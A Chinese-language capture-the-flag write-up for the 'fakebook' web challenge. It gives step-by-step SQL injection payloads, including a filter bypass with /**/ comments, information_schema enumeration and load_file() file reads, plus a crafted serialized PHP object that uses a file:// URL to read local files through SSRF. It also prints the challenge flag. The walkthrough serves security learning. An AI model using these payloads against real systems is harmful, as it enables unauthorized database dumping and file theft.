攻防世界-fakebook

打开题目链接

攻防世界-fakebook_第1张图片

尝试弱口令登录

攻防世界-fakebook_第2张图片失败

攻防世界-fakebook_第3张图片

 随便注册

攻防世界-fakebook_第4张图片

攻防世界-fakebook_第5张图片

点击admin后跳转到下面这个页面

攻防世界-fakebook_第6张图片

显示的是注册用户信息,观察url发现no=1,猜测存在注入

用单引号测试一下,报错,确实存在SQL注入

使用order by 判断字段数

?no=1 order by 5

5的时候报错,说明有4列

攻防世界-fakebook_第7张图片

尝试联合查询注入,发现存在过滤

?no=0 union select 1,2,3,4 --+

攻防世界-fakebook_第8张图片

尝试使用大小写绕过,发现不行攻防世界-fakebook_第9张图片

这里要使用内联注释/**/绕过

?no=0 union/**/select 1,2,3,4 --+

攻防世界-fakebook_第10张图片

可以看到回显位在2

查数据库名:

?no=0 union/**/select 1,database(),3,4 --+

数据库名为fakebook

攻防世界-fakebook_第11张图片

查该数据库下所有的表名:

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+

可以看到存在一个叫uses的表

攻防世界-fakebook_第12张图片

查该表下的列名信息:

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+

攻防世界-fakebook_第13张图片

我们一般还会对条件进行限制,指定查哪个数据库下的

?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'--+

可以看到结果就少了几个

攻防世界-fakebook_第14张图片

查具体字段信息:

?no=0 union/**/select 1,data,3,4 from fakebook.users --+

是一串序列化后的信息 :

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:8:"zxc.blog";}

攻防世界-fakebook_第15张图片

name、age、blog为data反序列化值,blog读取成功会返回url值

我们可以通过反序列化来实现ssrf读取任意文件

通过目录扫描攻防世界-fakebook_第16张图片

知道flag就在html目录下

即:/var/www/html/flag.php 

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码发现base64编码

攻防世界-fakebook_第17张图片

解码得到flag

攻防世界-fakebook_第18张图片

flag{c1e552fdf77049fabf65168f22f7aeab}

这里有一个更简单的方法,由于知道了flag的路径,直接使用load_file()函数进行文件读取:

?no=0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 --+

查看源码,找到flag

攻防世界-fakebook_第19张图片

你可能感兴趣的:(web,SQL,sql,数据库,SQL注入,文件读取,SSRF)